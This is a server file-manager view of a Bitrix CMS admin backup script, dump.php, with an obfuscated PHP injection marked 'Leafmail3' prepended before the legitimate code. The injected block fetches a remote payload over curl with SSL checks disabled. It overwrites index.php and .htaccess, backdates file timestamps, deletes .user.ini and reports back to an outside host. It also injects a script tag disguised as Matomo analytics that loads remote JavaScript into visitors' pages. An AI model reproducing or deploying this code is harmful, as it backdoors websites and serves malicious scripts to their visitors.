Your IP : 3.15.22.209


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/main/admin/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/main/admin/dump.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2013 Bitrix
 */

/**
 * Bitrix vars
 * @global CUser $USER
 * @global CMain $APPLICATION
 * @global CDatabase $DB
 */

define('NO_AGENT_CHECK', true);
define("STATISTIC_SKIP_ACTIVITY_CHECK", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
define("HELP_FILE", "utilities/dump.php");

if(!$USER->CanDoOperation('edit_php'))
	$APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));

if(!defined("START_EXEC_TIME"))
	define("START_EXEC_TIME", microtime(true));

IncludeModuleLangFile(__FILE__);

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/backup.php");
$strBXError = '';
$bGzip = function_exists('gzcompress');
$bMcrypt = function_exists('mcrypt_encrypt') || function_exists('openssl_encrypt');
$bHash = function_exists('hash');
$bBitrixCloud = $bMcrypt && $bHash;
if (!CModule::IncludeModule('bitrixcloud'))
{
	$bBitrixCloud = false;
	$strBXError = GetMessage('ERR_NO_BX_CLOUD');
}
elseif (!CModule::IncludeModule('clouds'))
{
	$bBitrixCloud = false;
	$strBXError = GetMessage('ERR_NO_CLOUDS');
}

if (function_exists('mb_internal_encoding'))
	mb_internal_encoding('ISO-8859-1');

define('DOCUMENT_ROOT', rtrim(str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']),'/'));

// define('DUMP_DEBUG_MODE', true);
// xdebug_start_trace();

$arAllBucket = CBackup::GetBucketList();
$status_title = "";

if ($_REQUEST['ajax_mode'] == 'Y')
{
	if ($_REQUEST['action'] == 'get_table_size')
	{
		?>
		<script>
			BX('db_size').innerHTML = "(<?=CFile::FormatSize(getTableSize())?>)";
			BX('db_stat_size').innerHTML = "(<?=CFile::FormatSize(getTableSize("^b_stat"))?>)";
			BX('db_search_size').innerHTML = "(<?=CFile::FormatSize(getTableSize("^b_search"))?>)";
			BX('db_event_size').innerHTML = "(<?=CFile::FormatSize(getTableSize("^b_event_log$"))?>)";
		</script>
		<?
		die();
	}
}
elseif($_REQUEST['process'] == "Y")
{
	if (!check_bitrix_sessid())
		RaiseErrorAndDie(GetMessage("DUMP_MAIN_SESISON_ERROR"));

	require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_js.php");
	$NS =& $_SESSION['BX_DUMP_STATE'];
	if($_REQUEST['action'] == 'start')
	{
		define('NO_TIME', true);

		$bFull = $_REQUEST['dump_all'] == 'Y';

		if(!file_exists(DOCUMENT_ROOT.BX_ROOT."/backup"))
			mkdir(DOCUMENT_ROOT.BX_ROOT."/backup", BX_DIR_PERMISSIONS);

		if(!file_exists(DOCUMENT_ROOT.BX_ROOT."/backup/index.php"))
		{
			$f = fopen(DOCUMENT_ROOT.BX_ROOT."/backup/index.php","w");
			fwrite($f,"<head><meta http-equiv=\"REFRESH\" content=\"0;URL=/bitrix/admin/index.php\"></head>");
			fclose($f);
		}

		if(!is_dir(DOCUMENT_ROOT.BX_ROOT."/backup") || !is_writable(DOCUMENT_ROOT.BX_ROOT."/backup"))
			RaiseErrorAndDie(GetMessage("MAIN_DUMP_FOLDER_ERR",array('#FOLDER#' => DOCUMENT_ROOT.BX_ROOT.'/backup')));

		DeleteDirFilesEx(BX_ROOT.'/backup/clouds');

		$NS = Array();
		$NS['finished_steps'] = 0;
		$NS['dump_state'] = '';
		$NS['BUCKET_ID'] = intval($_REQUEST['dump_bucket_id']);
		COption::SetOptionInt("main", "dump_bucket_id", $NS['BUCKET_ID']);

		if ($bMcrypt && $_REQUEST['dump_encrypt_key'])
		{
			$NS['dump_encrypt_key'] =  $_REQUEST['dump_encrypt_key'];
//			if (!defined('BX_UTF') || !BX_UTF)
//				$NS['dump_encrypt_key'] = $APPLICATION->ConvertCharset('windows-1251','utf-8',$NS['dump_encrypt_key']);
			COption::SetOptionInt("main", "dump_encrypt", 1);
		}
		else
			COption::SetOptionInt("main", "dump_encrypt", 0);

		if ($NS['BUCKET_ID'] == -1 && !$NS['dump_encrypt_key'])
			RaiseErrorAndDie(GetMessage('MAIN_DUMP_BXCLOUD_ENC'));


		$bUseCompression = $bGzip && ($_REQUEST['dump_disable_gzip'] != 'Y' || $bFull);
		COption::SetOptionInt("main", "dump_use_compression", $bUseCompression);

		if ($bFull)
		{
			$NS['total_steps'] = 4; // dump, tar dump, tar files, integrity

			COption::SetOptionInt("main", "dump_max_exec_time", 20);
			COption::SetOptionInt("main", "dump_max_exec_time_sleep", 1);
			COption::SetOptionInt("main", "dump_archive_size_limit", 100 * 1024 * 1024);
			COption::SetOptionInt("main", "dump_integrity_check", 1);
			COption::SetOptionInt("main", "dump_max_file_size", 0);

			COption::SetOptionInt("main", "dump_file_public", 1);
			COption::SetOptionInt("main", "dump_file_kernel", 1);
			COption::SetOptionInt("main", "dump_base", $DB->type == 'MYSQL' ? 1 : 0);
			COption::SetOptionInt("main", "dump_base_skip_stat", 0);
			COption::SetOptionInt("main", "dump_base_skip_search", 0);
			COption::SetOptionInt("main", "dump_base_skip_log", 0);
			COption::SetOptionInt("main", "skip_symlinks", 0);

			if ($arAllBucket)
			{
				$bDumpCloud = 1;
				$NS['total_steps']++;
				COption::SetOptionInt("main", "dump_do_clouds", 1);
				foreach($arAllBucket as $arBucket)
					COption::SetOptionInt('main', 'dump_cloud_'.$arBucket['ID'], 1);
			}

			COption::SetOptionInt("main", "skip_mask", 0);
		}
		else
		{
			COption::SetOptionInt("main", "skip_symlinks", $_REQUEST['skip_symlinks'] == 'Y');
